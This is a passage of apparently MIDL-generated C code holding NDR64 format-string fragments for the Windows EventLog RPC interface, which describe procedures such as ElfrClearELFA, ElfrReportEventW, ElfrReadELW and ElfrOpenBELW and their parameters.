     0x21,    /* FC64_UP */\n        (NDR64_UINT8) 32 /* 0x20 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        &__midl_frag114\n    }\n};\n\nstatic const __midl_frag116_t __midl_frag116 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag115_t __midl_frag115 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x3,    /* FC64_UINT16 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 2 /* 0x2 */\n    }\n};\n\nstatic const __midl_frag114_t __midl_frag114 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag115\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag116\n    }\n};\n\nstatic const __midl_frag113_t __midl_frag113 =\n{ \n/* _RPC_STRING */\n    { \n    /* _RPC_STRING */\n        0x35,    /* FC64_FORCED_BOGUS_STRUCT */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* _RPC_STRING */\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */,\n        0,\n        0,\n        &__midl_frag117,\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x4,    /* FC64_INT16 */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_MEMPAD_FORMAT */\n            0x90,    /* FC64_STRUCTPADN */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 4 /* 0x4 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x14,    /* FC64_POINTER */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        },\n        { \n        /* struct _NDR64_SIMPLE_MEMBER_FORMAT */\n            0x93,    /* FC64_END */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 0 /* 0x0 */\n        }\n    }\n};\n\nstatic const __midl_frag112_t __midl_frag112 =\n{ \n/* *_RPC_STRING */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag113\n};\n\nstatic const __midl_frag110_t __midl_frag110 =\n{ \n/* ElfrClearELFA */\n    { \n    /* ElfrClearELFA */      /* procedure ElfrClearELFA */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 36 /* 0x24 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag120,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* BackupFileName */      /* parameter BackupFileName */\n        &__midl_frag112,\n        { \n        /* BackupFileName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag210,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag107_t __midl_frag107 =\n{ \n/* *long */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 8 /* 0x8 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag210\n};\n\nstatic const __midl_frag104_t __midl_frag104 =\n0x4    /* FC64_INT16 */;\n\nstatic const __midl_frag101_t __midl_frag101 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag182\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag116\n    }\n};\n\nstatic const __midl_frag100_t __midl_frag100 =\n{ \n/* *char */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 32 /* 0x20 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag101\n};\n\nstatic const __midl_frag99_t __midl_frag99 =\n{ \n/* *_RPC_UNICODE_STRING */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag5\n};\n\nstatic const __midl_frag97_t __midl_frag97 =\n{ \n/*  */\n    { \n    /* struct _NDR64_CONF_ARRAY_HEADER_FORMAT */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 7 /* 0x7 */,\n        { \n        /* struct _NDR64_CONF_ARRAY_HEADER_FORMAT */\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag178\n    },\n    { \n    /*  */\n        { \n        /* struct _NDR64_REPEAT_FORMAT */\n            0x82,    /* FC64_VARIABLE_REPEAT */\n            { \n            /* struct _NDR64_REPEAT_FORMAT */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT8) 0 /* 0x0 */\n            },\n            (NDR64_UINT16) 0 /* 0x0 */,\n            (NDR64_UINT32) 8 /* 0x8 */,\n            (NDR64_UINT32) 0 /* 0x0 */,\n            (NDR64_UINT32) 1 /* 0x1 */\n        },\n        { \n        /*  */\n            { \n            /* struct _NDR64_POINTER_INSTANCE_HEADER_FORMAT */\n                (NDR64_UINT32) 0 /* 0x0 */,\n                (NDR64_UINT32) 0 /* 0x0 */\n            },\n            { \n            /* *_RPC_UNICODE_STRING */\n                0x21,    /* FC64_UP */\n                (NDR64_UINT8) 0 /* 0x0 */,\n                (NDR64_UINT16) 0 /* 0x0 */,\n                &__midl_frag5\n            }\n        },\n        0x93    /* FC64_END */\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag99\n    }\n};\n\nstatic const __midl_frag96_t __midl_frag96 =\n{ \n/* struct _NDR64_POINTER_FORMAT */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag97\n};\n\nstatic const __midl_frag94_t __midl_frag94 =\n{ \n/*  */\n    (NDR64_UINT32) 1 /* 0x1 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x1,    /* FC64_UINT8 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */\n    }\n};\n\nstatic const __midl_frag93_t __midl_frag93 =\n{ \n/*  */\n    { \n    /* struct _NDR64_CONF_ARRAY_HEADER_FORMAT */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* struct _NDR64_CONF_ARRAY_HEADER_FORMAT */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 4 /* 0x4 */,\n        &__midl_frag94\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 4 /* 0x4 */,\n        &__midl_frag122\n    }\n};\n\nstatic const __midl_frag92_t __midl_frag92 =\n{ \n/* _RPC_SID */\n    { \n    /* _RPC_SID */\n        0x32,    /* FC64_CONF_STRUCT */\n        (NDR64_UINT8) 3 /* 0x3 */,\n        { \n        /* _RPC_SID */\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        &__midl_frag93\n    }\n};\n\nstatic const __midl_frag91_t __midl_frag91 =\n{ \n/* *_RPC_SID */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag92\n};\n\nstatic const __midl_frag90_t __midl_frag90 =\n{ \n/* *_RPC_UNICODE_STRING */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag5\n};\n\nstatic const __midl_frag89_t __midl_frag89 =\n{ \n/* long */\n    0xa4,    /* FC64_RANGE */\n    0x5,    /* FC64_INT32 */\n    (NDR64_UINT16) 0 /* 0x0 */,\n    (NDR64_INT64) 0 /* 0x0 */,\n    (NDR64_INT64) 61440 /* 0xf000 */\n};\n\nstatic const __midl_frag88_t __midl_frag88 =\n{ \n/* short */\n    0xa4,    /* FC64_RANGE */\n    0x4,    /* FC64_INT16 */\n    (NDR64_UINT16) 0 /* 0x0 */,\n    (NDR64_INT64) 0 /* 0x0 */,\n    (NDR64_INT64) 256 /* 0x100 */\n};\n\nstatic const __midl_frag86_t __midl_frag86 =\n0x4    /* FC64_INT16 */;\n\nstatic const __midl_frag83_t __midl_frag83 =\n{ \n/* struct _NDR64_CONTEXT_HANDLE_FORMAT */\n    0x70,    /* FC64_BIND_CONTEXT */\n    (NDR64_UINT8) 65 /* 0x41 */,\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT8) 0 /* 0x0 */\n};\n\nstatic const __midl_frag82_t __midl_frag82 =\n{ \n/* ElfrReportEventW */\n    { \n    /* ElfrReportEventW */      /* procedure ElfrReportEventW */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 120 /* 0x78 */ ,  /* Stack size */\n        (NDR64_UINT32) 148 /* 0x94 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 15 /* 0xf */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag83,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* Time */      /* parameter Time */\n        &__midl_frag132,\n        { \n        /* Time */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* EventType */      /* parameter EventType */\n        &__midl_frag86,\n        { \n        /* EventType */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* EventCategory */      /* parameter EventCategory */\n        &__midl_frag86,\n        { \n        /* EventCategory */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* EventID */      /* parameter EventID */\n        &__midl_frag132,\n        { \n        /* EventID */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* NumStrings */      /* parameter NumStrings */\n        &__midl_frag88,\n        { \n        /* NumStrings */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* DataSize */      /* parameter DataSize */\n        &__midl_frag89,\n        { \n        /* DataSize */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* ComputerName */      /* parameter ComputerName */\n        &__midl_frag5,\n        { \n        /* ComputerName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* UserSID */      /* parameter UserSID */\n        &__midl_frag91,\n        { \n        /* UserSID */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    },\n    { \n    /* Strings */      /* parameter Strings */\n        &__midl_frag96,\n        { \n        /* Strings */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        72 /* 0x48 */,   /* Stack offset */\n    },\n    { \n    /* Data */      /* parameter Data */\n        &__midl_frag100,\n        { \n        /* Data */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        80 /* 0x50 */,   /* Stack offset */\n    },\n    { \n    /* Flags */      /* parameter Flags */\n        &__midl_frag104,\n        { \n        /* Flags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        88 /* 0x58 */,   /* Stack offset */\n    },\n    { \n    /* RecordNumber */      /* parameter RecordNumber */\n        &__midl_frag107,\n        { \n        /* RecordNumber */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        96 /* 0x60 */,   /* Stack offset */\n    },\n    { \n    /* TimeWritten */      /* parameter TimeWritten */\n        &__midl_frag107,\n        { \n        /* TimeWritten */\n            0,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        104 /* 0x68 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag210,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        112 /* 0x70 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag79_t __midl_frag79 =\n{ \n/* *long */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 12 /* 0xc */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag122\n};\n\nstatic const __midl_frag75_t __midl_frag75 =\n{ \n/*  */\n    (NDR64_UINT32) 5 /* 0x5 */,\n    { \n    /* struct _NDR64_RANGE_FORMAT */\n        0xa4,    /* FC64_RANGE */\n        0x5,    /* FC64_INT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_INT64) 0 /* 0x0 */,\n        (NDR64_INT64) 524287 /* 0x7ffff */\n    },\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag74_t __midl_frag74 =\n{ \n/* *char */\n    { \n    /* *char */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *char */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag75\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag125\n    }\n};\n\nstatic const __midl_frag73_t __midl_frag73 =\n{ \n/* *char */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag74\n};\n\nstatic const __midl_frag68_t __midl_frag68 =\n{ \n/* ElfrReadELW */\n    { \n    /* ElfrReadELW */      /* procedure ElfrReadELW */\n        (NDR64_UINT32) 21626944 /* 0x14a0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, HasReturn, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 64 /* 0x40 */ ,  /* Stack size */\n        (NDR64_UINT32) 60 /* 0x3c */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 8 /* 0x8 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* LogHandle */      /* parameter LogHandle */\n        &__midl_frag83,\n        { \n        /* LogHandle */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* ReadFlags */      /* parameter ReadFlags */\n        &__midl_frag132,\n        { \n        /* ReadFlags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* RecordOffset */      /* parameter RecordOffset */\n        &__midl_frag132,\n        { \n        /* RecordOffset */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* NumberOfBytesToRead */      /* parameter NumberOfBytesToRead */\n        &__midl_frag156,\n        { \n        /* NumberOfBytesToRead */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* Buffer */      /* parameter Buffer */\n        &__midl_frag74,\n        { \n        /* Buffer */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* NumberOfBytesRead */      /* parameter NumberOfBytesRead */\n        &__midl_frag122,\n        { \n        /* NumberOfBytesRead */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* MinNumberOfBytesNeeded */      /* parameter MinNumberOfBytesNeeded */\n        &__midl_frag122,\n        { \n        /* MinNumberOfBytesNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* NTSTATUS */      /* parameter NTSTATUS */\n        &__midl_frag122,\n        { \n        /* NTSTATUS */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag61_t __midl_frag61 =\n0x11    /* FC64_WCHAR */;\n\nstatic const __midl_frag60_t __midl_frag60 =\n{ \n/* *wchar_t */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 8 /* 0x8 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag61\n};\n\nstatic const __midl_frag59_t __midl_frag59 =\n{ \n/* ElfrOpenBELW */\n    { \n    /* ElfrOpenBELW */      /* procedure ElfrOpenBELW */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 46 /* 0x2e */,\n        (NDR64_UINT32) 68 /* 0x44 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* UNCServerName */      /* parameter UNCServerName */\n        &__midl_frag60,\n        { \n        /* UNCServerName */\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* BackupFileName */      /* parameter BackupFileName */\n        &__midl_frag5,\n        { \n        /* BackupFileName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* MajorVersion */      /* parameter MajorVersion */\n        &__midl_frag122,\n        { \n        /* MajorVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* MinorVersion */      /* parameter MinorVersion */\n        &__midl_frag122,\n        { \n        /* MinorVersion */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            